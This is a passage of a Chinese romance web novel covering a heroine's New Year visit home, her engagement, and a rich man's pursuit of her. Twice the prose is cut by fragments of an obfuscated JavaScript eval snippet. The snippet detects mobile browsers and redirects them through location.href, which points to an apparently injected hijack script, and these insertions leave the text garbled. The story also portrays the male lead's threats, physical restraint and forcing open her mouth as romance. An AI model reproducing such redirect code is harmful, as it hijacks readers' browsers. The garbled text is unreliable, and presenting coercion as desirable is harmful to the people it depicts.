好在她食量也不大,一点就饱了。 蓝芷还在旁边欢呼雀跃,“太好了,我姐终于回来啦,今年过年我就不孤单了。” 许乐芳笑着摇头,回去继续洗碗。 在书房看书的蓝健平听到吵闹声出来,抬了抬脸上的眼镜框,关怀道:“萦萦到家啦?怎么不提前说一声,也好让爸爸和妹妹去车站接你啊。” 孟尘萦弯腰翻鞋柜,边回话,“这么点近路,而且时间还很晚呢,就不好麻烦你们啦。” 她在鞋柜里没找到自己的拖鞋。 她记得那双拖鞋是她前年过年时买的,就穿了几天,应该还很新才对。 蓝芷见她疑惑,就说:“妈说你不在家,正好今年过冬我那双拖鞋找不到,就把你那双翻给我穿,结果上周给穿坏了,忘了买。” “姐,我再给你找一双吧。” 蓝芷翻出了许乐芳的拖鞋,笑嘻嘻道:“干净的,是妈之前穿过,洗干净收起来啦。” 孟尘萦沉默了会,穿上,拖着行李箱回自己房间。 她房间在蓝芷隔壁,刚进屋,蓝芷就跟在她后头进来,“姐,晚上咱好好聊聊,都好久没见面,我可想你了。” 她这妹妹是个话痨,孟尘萦真怕她要聊一晚,求饶道:“芷芷,你让我休息一会儿好不好?明天开始,姐姐还有几天时间陪你玩呢。” 蓝芷委屈得噘嘴:“好吧。” 关门之前,蓝芷又抱着她撒娇:“姐,我好想你,还有妈妈和爸爸都很想你。” 她淡笑一声:“嗯。” 孟尘萦刚换好家居服,就听到客厅传来周初皓的声音。 她打开门,看到周初皓坐在客厅正在跟蓝健平聊天。 “叔,芷芷的功课你不用操心,她才高一目前在班上的水平是中上游,高中接下来还有两年她的成绩完全可以上去。” 蓝健平急得眉头紧皱,“我这女儿平时就是贪玩了点,她但凡有萦萦半分乖巧,也不会让我跟她妈那么操心。” 周初皓排忧解难道:“这样好了,我认识一个很不错的老师,拜托他有时间上门来给芷芷补课。” “初皓,这可真是太谢谢你了!” “客气什么。”他温润一笑:“都是一家人。” “一家人?这么说,你跟我们萦萦的好事要近了? 蓝健平拍着周初皓肩膀,朗声大笑:“那真是恭喜你啊,要不了多久你就跟叔改口了。” 周初皓应和了几句,忽然感觉一股视线停在他身上很久,他扭头,便看到孟尘萦站在房间门口。 对上视线的那一秒,他没读懂孟尘萦那复杂的眼神是什么意思。 但很快,她眼底的那点复杂又消失殆尽,露出了笑容,恢复如常。 “初皓哥哥,这么晚你怎么过来了?” 9. 第 9 章 南方的冬天是真冷。孟尘萦随便套了件羽绒服出来,双手插口袋里取暖,寒风吹过来她冷得一缩。周初皓见状,伸手绕过她后颈,给她把羽绒服的帽子盖到头顶。 “当心着凉,你又那么怕冷。” 孟尘萦抬头,藏在帽檐下的脸露出浅笑:“谢谢。” 周初皓柔声道:“跟我还这么客气?” “那,我撤回啦。” “赶紧撤回。” 周初皓主动牵住她的手放进自己大衣的口袋里,两人在外头漫步。 “萦萦,明天就是新年了。” “嗯。” “你紧张吗?” 孟尘萦抬眸看他,“紧张什么?” 周初皓道:“我之前给过你承诺,要在两家吃年夜饭时定下和你的婚事。” 原来是这个呀。 孟尘萦也是被冷风吹得糊涂了,才记起来,笑道:“嗯,记得。” 周初皓温声说:“目前阮总很器重我,年后有个大项目打算交给我,如果能顺利完成,那个我想了很久的位置就是我的了。” 他努力从一个小县城考出去,绝不只是单单想做一个小小的打工人。 他想要更多,给萦萦最好的一切。 目标是在京市买房,定居,生根,和她成立一个家庭。 从很小的时候,他就觉得孟尘萦是他的责任,也是他会一直照顾的女孩。她小他五岁,幼时就一直追在他后面喊哥哥,要他带着她玩。 她性子很内敛,蓝芷又年纪小,她从小没有朋友,只有他。 那年他靠自己的努力,家里花费了不少积蓄送他出国留学。 在他出国那天,孟尘萦去给他送机,哭成了泪人。 小姑娘才那么点大,似乎怕他不要她了,会委屈巴巴揪着他衣服说:“初皓哥哥,我会努力挣钱,有时间会去国外看你的。” 后来她的确做到了承诺,在高中毕业后用了三年攒下的打工费坐飞机去看他。 在他生日那天。 给他准备了一个惊喜。 虽然惊喜发生了点意外。 从那天起,他就察觉到自己对孟尘萦不单单是邻居的兄妹之情。 他想照顾她。 “萦萦,你愿意跟我成个家吗?” 孟尘萦驻足,认真望着面前的青年,回想这十几年的相处,她不觉得会有人比周初皓还适合她。 况且,他是真的待她好。 “嗯,我愿意。” - 除夕中午在家吃的。 许乐芳特地做了一大桌子菜,蓝芷闻到香味从房间冲出来,“哇,有我爱吃的麻辣排骨,还有东坡肉!” 她飞扑过去抱着许乐芳啵了一口,“妈妈,我爱你!” 许乐芳轻拍她的脸,“好啦,去叫你姐出来。” “姐她早上就出去啦。” “出去?去哪儿了?” 蓝健平正在调电视频道,找到了中央台,才说:“不知道,早上九点多就出去了,该不会去找老周家那小子了吧。” “话说姐和初皓哥哥是不是要定下来啦?” 许乐芳疑惑:“什么时候的事?萦萦没跟我说啊。” 蓝健平皱眉道:“这么大的事,她没跟你这个做妈妈的说吗?” 许乐芳笑意淡去:“算了,快开饭了,芷芷给你姐打个电话让她赶快回家。” 蓝芷说好嘞,蹦蹦跳跳跑去抢蓝健平的手机,“爸,借手机给我姐打个电话。” 蓝健平担心她要玩手机,赶她:“去,用你妈的手机打。” 蓝芷撇撇嘴:“爸爸小气鬼。” 她又转身去拿许乐芳的,电话还没拨出去,孟尘萦就回了。 “姐,你干什么去了?” 孟尘萦提了大袋子东西回来,“没什么,好久没回家,我去外面逛逛街。” 顺便买了点东西。 昨晚回家才发现,家里几乎没有她什么生活用品了。 她换上了新拖鞋,把买的那些生活用品放回原位。 开饭前,许乐芳去孟尘萦房间谈话,“刚听你叔说,你跟初皓要结婚了?” “嗯。”孟尘萦把刚买的水杯放在书桌上摆好。 许乐芳有点难的开口,问她:“萦萦,这么重要的事,你跟你爸爸说了没?” 孟尘萦转身看她,“没,忘了,要说吗?” “还是通知一声比较好,结婚是大事。” “嗯,好,那我抽个时间通知,国外有时差。” 该问的也问了,完了后许乐芳也不知说什么好,她跟这个女儿也许久没见,独处在一个卧室里四目相对时,竟是有几分局促。 “妈,还有事吗?” 许乐芳连忙道:“没了。” “妈是想跟你说,午饭做好了。” “好,那我去洗个手。” 一家四口围在餐桌前,孟尘萦和妹妹蓝芷坐一起。满桌子的美食,她扫了眼,还是没她喜欢吃的。 “萦萦,吃一块排骨,妈妈记得你最爱吃麻辣排骨。” 孟尘萦伸碗接过,望着这块被煎得很诱惑的排骨,轻轻咬了下去。 她其实也挺喜欢吃辣。 但排骨,最喜欢吃的是酸甜口。 “妈,您做的排骨可太好吃了,一咬就脱骨!”蓝芷竖起沾满油渍的手夸赞。 蓝健平笑道:“就知道吃,排骨也堵不住你的嘴。” “我开心嘛,姐姐很久没回家,家里总算团聚了。” - 每逢过年,南方小镇还是较比大城市更有生活气息,午饭后有不少邻居串门打牌,蓝建平的牌品不错,在家附近有不少牌友。 孟尘萦在屋里歇了一下午,睡也没睡好,实在被蓝芷跟她同学吵得不行了。 “芷芷,你跟你同学去你房间玩好不好?” 蓝芷噘着嘴看她:“姐,你是不喜欢跟我玩吗?” “没有不喜欢。” 她轻声说:“只是我平时工作太累了,放假想歇一会,晚上还有重要的事。” “重要的事,是你跟初皓哥哥结婚吗?” “嗯。”她转身抱着床上的抱枕懒洋洋点头。 “那可真是太好啦,等你们要办婚礼的时候我就可以做伴娘!”蓝芷捧着脸笑道:“我就知道姐姐很喜欢初皓哥哥,你小时候都不爱跟我玩,就喜欢跟他玩。” 她笑了笑:“你太小了嘛。” 可能还有点阴影的原因。 在蓝芷三岁左右,有次过年,她帮家里搬年货的时候,因为视线被阻挡的原因,她没有看到朝她走来的蓝芷,导致将蓝芷撞到。 事后没人问事情怎么是发生的,所有亲戚都围着嚎啕大哭的蓝芷,劈头盖脸数落她欺负蓝芷。 她现在还记得那时候的尴尬无措。 自从那以后,她就不太爱跟蓝芷一起玩了。 “姐姐,我去跟妈说你快要结婚,不要我们了。” 小姑娘活泼得很,蹦跳着就出去了,她朋友连忙也追过去。 房门没关。 她还能听到蓝芷叽叽喳喳抱着许乐芳说:“妈,姐姐不要我们了,她要结婚了,就要初皓哥哥,哼!” 许乐芳宠溺道:“怎么会不要我们,你姐姐永远是我们的家人。” 孟尘萦懒得再听下去,自己起身去关门。 晚上年夜饭去的周家。 两家互邻多年,老早就当一家人相处。 到周家,孟尘萦礼貌地跟周初皓父母打了招呼,又被周初皓拉着去见他爷爷。 老人家身体还挺不错,这两天休养的很好。 年夜饭。 两家人围在一张大圆桌上,小孩在另外一桌。 周家也有不少孩子,基本都是周初皓的堂弟堂妹们,有的和蓝芷差不多大,有的更小。 客厅正在放春晚,却没人看。 稍大的孩子在沙发打游戏吵闹,还有几个年纪小的在卧室里玩摸瞎子。 大人基本都齐聚在饭桌。 周初皓寻了个合适的契机,牵着孟尘萦的手跟家人宣布,“爷爷,爸,妈,我和萦萦打算结婚了。” 他公开了个大家都知道的秘密。 两家人都乐见其成这段感情,没人反对。 周母夹了一块鱼肉到孟尘萦碗里笑道:“老早就想萦萦嫁我们老周家了,来,尝尝这鱼,是皓子特地让我做给你吃的。” 孟尘萦笑说:“谢谢阿姨。” “还喊阿姨呢?都要跟我家皓子结婚了。” 孟尘萦没反应过来。 周初皓握着她手,体贴道:“妈,别那么急啊。” “行了知道你小子心疼媳妇儿,就敢朝你妈捂嘴。” “妈!” 饭桌哄笑一片。 饭后一家人看春晚,孟尘萦坐沙发上埋头剥砂糖橘,她吃了几个,周初皓忽然朝她张嘴,她把刚剥好的那颗砂糖橘就塞他嘴里了。 “真甜。” 他笑里衔了蜜似的。 周初皓忽然捉住孟尘萦的手要贴唇上吻。 “哎哟哟。”旁边以蓝芷带头的好多小孩见状连忙起哄,一下把孟尘萦闹了个脸红,连忙抽回手。 她正尴尬地想寻个地缝钻进去,手机却响了。 从口袋里摸出来,竟然是梁嘉序打来的电话。 她下意识挂断。 没一会,又响了。 周初皓刚去教训了几个弟弟妹妹,回来见她手机不断响问她怎么不接。 孟尘萦咽下那颗砂糖橘,低声说:“这就接。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872835|159585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她起身去了阳台,声音很小:“喂。” “出来。” 听筒那端,男人表达的意图直接。 孟尘萦被他这态度给一下干懵了:“我在家,今天除夕,梁先生还没回京?” 梁嘉序幽幽道:“我都说了要在这留两天,你就这么盼着我回京啊?” 她背对着外面,视线望着屋内客厅,“梁先生,我想我已经表达的很清楚了。” “出不出来?不出来我现在就去找你。” 她没搭理,反正她家现在没人。 梁嘉序不急不缓道:“周初皓的家在你家隔壁那栋?还是栋小别墅啊,不错。” 她转身,连忙扒栏杆那去,果不其然看到一辆黑色车子停在树下。 男人一身黑色冲锋衣,右手握住手机,下颌微抬。 距离很远,但她能感觉他在看着她。 孟尘萦心里一沉。 他说:“一分钟,是我上去,还是你下来。” 孟尘萦咬唇,还打算跟他好好交谈,梁嘉序就已经挂断了电话。 他态度很明确,要她现在就下去。 没有商榷的可能。 孟尘萦拉开阳台门走到客厅,周初皓问她是谁打来的电话。 她不知道怎么回答合适,想了半天只能搬出他目前的身份,“领导。” 周初皓皱眉:“你们酒店过年了也离不开你一个试用工?” 她没吭声。 周初皓拉着她坐下,劝慰道:“萦萦,试用期到了就别做那行了,你不是喜欢烘焙么,开个烘焙店你做老板娘。” 她忽然开口,“初皓哥哥。” “嗯?” 孟尘萦正打算说梁嘉序正在外面威胁她下去。 周初皓手机却来了一通电话,他指着手机,“阮总。” 阮总是他的领导,过年电话不能不接。 况且一接,大概要谈许久。 周初皓回房间打电话了。 – 孟尘萦踩着夜色出来,这次穿了件奶白色的羽绒服,出来得很急,没有全副武装。 梁嘉序将她上下扫视,目光最终落在她的嘴唇上。 孟尘萦平时不太爱化妆,就连口红也很少抹。 这会儿嘴唇水嫩嫩的,是粉嫩色,不是被人蹂.躏过充血的红。 梁嘉序嗤笑:“这么晚,再慢五秒,我就上楼了。” 孟尘萦隔着一点距离问:“梁先生有什么事吗?” “今晚除夕,您不是应该在家里跟家人团聚?” “是啊,你说我除夕夜怎么会在这吹冷风呢?”他闲散地靠在车门,目光将她捉住:“孟尘萦,还不是因为你。” 孟尘萦的心仿佛灌了冷风似的缩了下,为难半晌,她喃喃道:“我可没有让您跟我来这呢。” 她低头看自己的鞋。 梁嘉序直接把她拽过来,转身,将她按在车门前。 他俩的位置交换。 她被困在他身前,他挡住了她前方的去路。 梁嘉序停车的位置还算隐蔽,是这片空旷地的古树下,阴暗处,夜里没人会路过这。 但孟尘萦还是被吓得不行,手指紧张抓住他臂膀,“梁先生!” “男朋友一回来嘴巴就这么红。”他腿朝前,抵在她身侧,恶劣地问:“他亲的?” 孟尘萦心跳加快,往边上退,又被他挡住另一边。 两边和前方都被他堵的严严实实。 男人幽暗的视线跟钉在她脸上似的,她脸滚烫,反驳道:“他是我男朋友,就算是他亲的,跟您也没什么关系。” 她挣扎着要跑。 男人轻易固住她,手勾上她后脖颈,将她脸凑上前。 同时他的唇凑近。 孟尘萦吓得几乎浑身血液凝固,根本来不及逃,被他死死按住往前送。 想象中的吻并没有落下来,他在她唇瓣前停下,高挺的鼻梁刮着她脸颊肌肤,鼻翼轻轻在她唇瓣那嗅了嗅。 梁嘉序显然不满,压低声命令:“张嘴。” 她紧咬着唇瞪他。 那双急得快掉眼泪的眼眸,衔着一抹湿漉漉的红。 他笑了声,混不吝地哄:“不亲你,张嘴。” “张不张?”他手指按她下颌,逼迫她唇瓣打开。 那动作谈不上多温柔,目的直接明确。 孟尘萦后背生汗,唇瓣被他轻易操控。 张开。 梁嘉序满意地盯着她唇内的软舌,脸凑近,他的唇在她唇边停住,乌沉的眸色勾住她湿滑的舌,她舌头受不住这打量,娇娇颤颤地缩了下,他低声笑,色气地在她唇瓣外嗅了两下。 “甜的,没男人的味道。” 说话时,滚烫的气息强硬挤了进来。 10. 第 10 章 月亮都像羞于看到这个画面,悄悄隐匿进云层,古树下,视线更加昏暗。 孟尘萦的脸涨得通红,恨不得把他刚才钻进她嘴里的气息推出去。 梁嘉序捏着她下巴,问:“吃了什么?嘴里有股水果的甜香。” 孟尘萦用力推开他的束缚,大口喘着气靠在车门,“关你什么事?” 他膝盖抵在她身前,两只手撑在两侧,让她根本没有逃生的可能,追问道:“我挺好奇,告诉我是什么水果。” 孟尘萦怒极瞪他:“梁先生连砂糖橘的味道都闻不出来?” “砂糖橘?”梁嘉序少见的露出迷茫,“那是什么水果?” 孟尘萦神色微怔,又一次对梁嘉序感到意外。 怎么会有人连砂糖橘都没吃过? 还是说,他从小接触到的食物,就从没这么便宜的水果? 可是她从小,只有过年才能这么大肆炫砂糖橘。 她沉默起来,小脸神情也有点怪异,梁嘉序歪着头看她:“砂糖橘就是你嘴里的甜味么?” 她红着脸,不自在点头。 梁嘉序黑郁的眸色紧紧盯她的唇,低声说:“我想尝尝。” 孟尘萦听出他的言中之意,惊得眼睛睁大。 她呼吸一急,胸脯也跟着起伏,声音紧绷地指责他:“梁先生知道你这种行为在古代是要被浸猪笼的吗?” 他的腰往前一步,更靠近了。 冷冽的木质香被一阵风吹到她脸上,浑身都是他的香气。 “那你男朋友在古代大概是要娶好几个老婆了。” 孟尘萦生气道:“你能不能别再诋毁我男朋友了。” 他当没听见,笑说:“而我,只要你一个就好。” 孟尘萦对天发誓,自己从没见过这种人,像恶霸一样,可恶,专.制,蛮横,不讲理,还没有正常人该有的三观。 “我年后就要跟男朋友领结婚证,梁先生还是不要多此一举了。” “随你,领吧。”他淡笑,松弛到有种掌控一切的笃定。 孟尘萦放在口袋里的电话响了,她掏出来,是周初皓来电。 梁嘉序按住她要接听的手。 “开外放。” 孟尘萦蹙眉:“为什么?” “在车上那会儿,你背着我跟他谈情说爱,让我很不爽。” 他滚了滚喉结,眸色冷厉:“这次当着我的面,外放。” 看出孟尘萦不打算外放,他直接夺了手机,替她按下接听打开外放。 孟尘萦呼吸都提了起来。 “萦萦,你在哪儿呢?” 孟尘萦轻声回:“我,我在外面。” 周初皓疑惑道:“外面?大晚上你跑外面干什么,多冷啊,赶快回来,一会有你喜欢看的节目。” 她低声应了句:“嗯,马上就上楼。” 周初皓问:“对了,你刚才想跟我说什么来着?一通电话给打乱了。” 刚才她想跟周初皓说,梁嘉序来找她了。 她本想让周初皓跟她一起面对。 可经历过刚才,她已经怕了。 她真的怕面前这个疯子,会当着周初皓的面做出什么无法弥补的事。 况且,周初皓哪里能对付梁嘉序? “没什么了……”她垂眸说。 梁嘉序嗤笑一声,拿出打火机点了支烟。 周初皓也没多想,笑道:“那你快上楼吧。” 孟尘萦盯着面前咬着烟的痞气男人,忽然开口:“初皓哥哥,年后我们就领证吧?” 周初皓微怔:“你想先领证?” “嗯。”她轻声说:“婚礼我可以不要。” 梁嘉序缓缓吐出一圈烟雾,唇角勾起笑,那抹笑却有几分嘲讽。 周初皓反应并没有很高兴,问道:“萦萦,你是觉得我没办法给你一场盛大的婚礼?” “不是……”她急忙回复。 周初皓声音微冷:“或许你就是这样想的,不是吗?在颂曼德那样的五星级酒店,你是不是见识了许多世面,所以你……” “我没有,初皓哥哥!” 孟尘萦肩膀软了下去:“我只是觉得……” 她只是觉得,要是领证了,或许就没那些麻烦事,况且也是周初皓先跟她提出的结婚。 两人都沉默了起来。 周初皓渐渐意识到自己失态,反应过来连忙道歉,柔声道:“你快上楼吧。” “好。” 她挂断电话。 梁家序还咬着烟看她笑,“初皓哥哥?” “你都喊我梁先生。” 那声初皓哥哥,让他想起四年前小姑娘闹出的乌龙。 ——生日快乐。 这是她对他说的第一句话。 孟尘萦把手机塞进口袋,耳边响起树叶的沙沙声,她心不断起伏,认真道:“梁先生,过年你应该跟自己的家人在一起,而不是来到你完全不熟悉的小镇吹冷风。” 梁嘉序抽完了一支烟,懒散道:“你这的确没什么可逛的,走几步路就没了。” 涟云本就是个小地方。 孟尘萦轻声说:“梁先生应该回到属于自己的大都市。” “你巴不得我走是么?” “是。” 孟尘萦说:“你打扰到我的生活了。” 梁嘉序冷沉地笑起来,直白戳穿道:“你的生活也没什么值得你苦心经营的。” 孟尘萦回他,“梁先生说的对,所以我这平淡又无趣的生活,您为什么还要来打破?” 她很费解,他究竟为什么。 梁嘉序给了她答案,“为了你啊,还能为什么?” 他懒散地站她面前,眼里波涛汹涌的情绪将她衔住,“孟尘萦,我想要你,没跟你说笑。” “回国也是想弄到你,这话我应该说两次了。” 孟尘萦肃着被夜风吹白的小脸儿,她身形纤瘦,即使穿着厚重的羽绒服,在风中也柔弱地像会被吹跑。 她皮肤白似雪,气质清清冷冷,身体软绵绵的,就像天边的云朵儿,美好到让人想掌握在手中。 白天梁嘉序在涟云逛了半天,这小地方的确没什么有趣的地儿,但想到这的水土养出了孟尘萦,他忽然觉得也挺有意思。 孟尘萦的呼吸放轻,跟着风声散了。 梁嘉序单手捉住她腕子。 她挣扎,想要从他滚烫的手心中逃离,却无论怎么做,他的束缚都没有分毫松弛。 梁嘉序挺拔的身躯挡住她的视线,让她不得不仰脸看他。 “你摆明不要我,是么?” 孟尘萦都被无语笑了,湿盈盈的眸含着怒意瞪他:“不要!我已经有男朋友了。” “这样啊。”梁嘉序叹了声,他唇角浮笑,笑意没比深冬的晚风好哪去,凉意渗骨。 “那你跑吧,别让我抓到。” “孟尘萦,我给你机会,你也跑不出我的手掌心。” 他衔着笑的眸看她:“不信,你试试。” - 除夕一过,新的一年也真正开始了。 自从那晚之后,孟尘萦就没再见到梁嘉序,他也没有主动打电话找过她。 涟云是个很小的南方小镇。 平常多是阴雨绵绵的天气,乘船游湖便可以赏完这个镇子能赏的景色。 像梁嘉序这种生来就在顶端的人物,是不习惯呆在这种小地方。 眨眼新年过完了。 孟尘萦和周初皓在初六那天就回了京市。 过了个年,因在家里吃太好,钱晓语和虞南星都圆润了点,被孟尘萦坦诚戳出来后,两位怎么说也要闹着减肥。 年后周初皓的工作也极其忙碌,烽耀科技对他予以重任,上班起基本就很少有休假的机会,以至于说好领证的事,也拖到现在还没去办理。 自从除夕那晚闹成那样后,孟尘萦也没再收到梁嘉序的任何消息了,就连她回了颂曼德,也没听说他在。 她的生活又恢复了往日的平静。 梁嘉序如同一阵风。 霸道强势时像龙卷风,轻而易举把她搅地天翻地覆,等他趣味过去,又像风隐匿,不知吹去何处。 午休时间唐书回休息室吃饭,瞥见孟尘萦正坐在桌前不知在做什么,认真打量她几眼,“萦萦,你过年怎么没长胖?” 孟尘萦说自己吃的不多。 “过年不就是大吃大喝的时候,你怎么能亏待自己?” “没吃大鱼大肉啊?” 孟尘萦:“吃了,不过吃的更多是水果,橙子,砂糖橘之类的。” 提起砂糖橘,她语气放轻,有点不自在。 “我可羡慕你了,我过个年胖一圈,制服都紧了。” 孟尘萦笑说:“会瘦下来的,我们这工作量没有给你胖的机会。” “你说的是……”唐书仰天长叹。 “不过你在干什么呢,半天没动。” 孟尘萦:“没什么。" 她把刚处理好的辞职信放进抽屉里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14872836|159585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算晚上等刘素华来了,再交给她。 她只是试用工,辞职也不需要那些流程,通知主管一声就行。 刘素华对于她要辞职的事,觉得很惋惜,“小孟,你工作很认真,表现也好,或许你有转正的机会。” 孟尘萦坦然说:“我的简历跟其他人比起来不算什么,还有好多名牌大学和国外留洋回来的,贵酒店会有更好的选择。” “颂曼德更看重的是能力。” “你情绪很稳定,在颂曼德这两个多月,除了那件事,你根本没有惹过任何麻烦,为什么不再等等。” 无论刘素华怎么劝,她都没动摇。 况且她也不是很乐意一直在酒店工作。 加上有梁嘉序这个隐藏风险在,她不想自己平淡安稳的生活再被打扰。 “刘姐,您别劝我了。” “行吧,你再做几天,姐尽快帮你把手续办齐。” 孟尘萦提辞职的事还没来得及跟周初皓提起。 他这阵子实在太忙,每天只有晚上能跟她通话,聊不了几句就要忙工作。 虞南星问她多久没见周初皓了? 孟尘萦回想了下,“有五天了吧。” “他就在京市,租的房子虽然离咱们有点距离,那也不至于五天都不来见你吧,你们感情出问题了?” “没啊。”孟尘萦说:“过年那会我们还约定了,年后领证。” 虞南星给她分析道:“他身边有没有关系很好的女生?” “好像没有。” “好像没有?”虞南星敏锐追问:“那就是有了?” 孟尘萦回她:“有是有一个,不过就是小妹妹,好像才十九岁,还是他领导的女儿,所以就格外照顾点而已。” “领导的女儿?这要素会不会太全了?” 孟尘萦后知后觉,连忙说:“他不会的,我很放心。” “你啊,反正我不想看到我们萦萦受伤,要是有什么不对,你一定要及时醒悟。” 虞南星的话她听进去了。 但她认识周初皓十多年,从小就把他当最好的邻家哥哥,他的人品她再放心不过。 今天刮了寒风,孟尘萦去超市买了点食材,主动去周初皓的公寓找他。 昨天她特地问过了,他下午六点在家。 坐了四十多分钟的地铁,又走了十几分钟的路程,赶到了周初皓的公寓。 周初皓住在十八层。 她还没走进楼里,就看到他跟一个男人站在休息椅旁谈话。 周初皓是背对着她。 他面前的是中年男人,长得有点胖,面色冷沉看着周初皓。 风吹起周初皓的大衣衣角,他温声道:“阮总,我已经有女朋友了,我不可能会接受令嫒。” “您的好意我就心领了。” 阮总坦诚说:“周初皓,我很欣赏你,你知道吗?” “多谢阮总赏识。” “但人要往前看,男人更是要往高处爬,你的那个女朋友,她不能给你提供什么帮助不是吗?” 周初皓的背影挺拔,说:“我爱她,这就够了。” “爱?多不值钱的玩意,等过两年爱意褪去,你就会知道为了那狗屁的爱放弃自己的前途,根本就不值。” “您女儿才十九岁。”周初皓严肃道:“我们不合适,我大她太多,况且您也知道我就是一个普通人。” “但我很看好你。” 阮总从包里取出一份文件,“这个项目拿回家看看,办成功了,烽耀就会有你的一份。” 周初皓神色微怔。 阮总问他:“听说你认识梁嘉序?把你挖到烽耀的人告诉我的。这个项目投资很大,需要梁氏点头才行,但梁家目前真正管事的只有梁嘉序和他父亲,只要你能说服梁嘉序签下这个合同,你这个项目便能启动,接下来,等待你的是一条光明又璀璨的路。” 周初皓心动的同时,又觉得这是根本不能完成的任务。 “说服?阮总知道我跟梁嘉序只是几年前靠着朋友介绍才吃过几次饭的关系吗?更何况我来到烽耀无异议背叛他,他怎么会跟烽耀合作?” “社会上没有永远的敌人,只有永远的利益,陈氏和梁氏的仇怨早两年就化解了,现在陈氏有意低头跟梁家修好,而你,就是这两家人修好的桥梁。至于梁嘉序那边,你自己搞定。” 阮总拍着周初皓的肩膀,苦口婆心道:“你好好想想,在你女朋友和前途之间,到底什么更重要。” 11. 第 11 章 门铃响了两声。 周初皓开门见到门口的孟尘萦,怔了须臾,“萦萦,你怎么来了?” 孟尘萦提着手里的食材,问他:“初皓哥哥不欢迎我?” “怎么会?”他笑得很温暖,伸手取过她提着的购物袋,“下次别带东西过来了,我还能让你给我做饭?” “那我在你家点外卖吃么?”孟尘萦正在换拖鞋,忽然发现,她的那双拖鞋旁边,还有一双女士拖鞋。 周初皓注意到她的视线,连忙解释,“前几天阮总和一些同事来家里玩。” 孟尘萦笑问:“我记得你同事都是男生。” 他无奈道:“阮兮你记得吗?她也来了,大小姐不肯穿一次性的,说什么都要换干净的新拖鞋。” 所以周初皓就把为孟尘萦买的备用拖鞋先给阮兮穿了。 他垂眸打量她的神情,“萦萦,你不介意么?” 孟尘萦摇头,“总不能让人家女孩赤脚吧,拖鞋买了就是穿的,给谁穿都一样。” 她半点都不吃醋,周初皓勉强笑了笑。 他把购物袋都放回餐桌上,问她:“晚上想吃点什么,我给你下厨。” 孟尘萦买了鸡块过来,他说:“红烧鸡块炖土豆?” “好。” 晚上两人在厨房做饭,孟尘萦总是听到周初皓放在餐桌上的手机不断响,催他去接。 他没办法,洗手去接听。 接了电话走到客厅那的窗前,她听到他喊对方阮大小姐。 孟尘萦垂眸在洗土豆。 两人简单吃了点,饭后,周初皓主动跟孟尘萦提起自己的近况,把阮总交代他的事说了。 “阮总说,只要我能说服梁嘉序签字,这个项目就能启动,烽耀也会有我一个位置。” 孟尘萦喝着花茶问:“你们阮总只说了这个吗?” 周初皓眼神闪躲:"嗯,他很看好我。” 他握住她的手,低声说:“萦萦,我想完成这个任务,只要能说服梁嘉序,我就可以升职,还有烽耀,这个诱惑实在太大了。” 孟尘萦放下水杯,认真道:“初皓哥哥,你一直很拼。” 孟尘萦太了解他了。 当初他努力从小县城考出去,成功留学,而后一步步结识人际关系起,她都是一步步看着他成长到现在。 小县城的孩子想走出来太不容易了,他只能比旁人做的更多,更完美才行。 很小的时候,她在家里身份尴尬,她就只能追着邻家哥哥玩,而周初皓一直很照顾她,对她很好。 周初皓无奈一笑:“不拼怎么给你更好的生活?” 孟尘萦欲言又止。 他没察觉出她的异常,还在说:“之前在伦敦,我通过别的朋友跟梁嘉序也认识过,虽然后来没来往了,他应该还记得我?如果我去找他,要他看在之前的交情份上签下这个合同,你说会有希望吗?” 孟尘萦垂眸:“我不知道。” 不,其实她知道。 梁嘉序不会签。 “你就那么想要烽耀?” “想要,我想爬的更高。” - 刘素华说她这几天实在太忙,辞职的事还没处理,让孟尘萦再上几天班,还哄她把试用期干完。 想着试用期也就一周了,她还是同意。 连着几天,周初皓都没主动联系她。 距离那次去他家已经过去三天了。 直到第四天,周初皓主动跟孟尘萦打电话,提起自己这几天的事。 “梁嘉序那边不见我。” “我也不知道该怎么办了。” “萦萦,我感觉我快得心病了,拿不下这个合同,我夜里都睡不着。” 孟尘萦安慰了他几句。 他又弹了个视频过来,画面内温润俊朗的男人肉眼可见的瘦了一大圈,眼底的乌青明显。 他是真的因为这件事焦头烂额,好几天没休息好。 人一旦钻进死胡同里,不达目的,真的会怄死。 孟尘萦挂断电话后,心还是难以平静。 周初皓再这样下去绝对会出事。 他不仅有心病,身体还可能会出事,接下来只会是一个恶性循环。 阮总看出他的野心,故意吊了一块他很想吃到的肉,就为了诱他上钩。 周初皓的事还没解决,孟尘萦这边又遇上了一个麻烦。 唐书出事了。 唐书和另一个员工之间发生的争执。 因为大家是同批进来的试用工,马上试用期到了,不少人为了那几个名额明争暗斗。 唐书是个火爆脾气,听到有男员工在背后说孟尘萦坏话,跟人争执时,当场就把人头爆了。 孟尘萦能进颂曼德,私下一直被不少人蛐蛐。 无非是觉得她没出国镀金过,能进入颂曼德这样的酒店就让不少人不服气,跟她同批竞争的不少都在国外有优秀的简历,都经历过正规的酒店管理培训人员,回国就为了进入颂曼德。 如今转正在即,施好谦担心孟尘萦抢他名额,这几天私下不知撺掇了多少孟尘萦坏话,甚至不惜给她造黄谣,传得有鼻子有眼,还笃定说正式工名额定是少不了她。 这话让唐书听了自是不能忍,怒气冲冲上去和施好谦争吵。 两人闹得不可开交,最后不知谁先动的手,唐书在混乱中夺了个水杯朝施好谦脑门猛地一砸。 这会人已经在医院了。 事后唐书也吓到,明白知道自己惹了事。 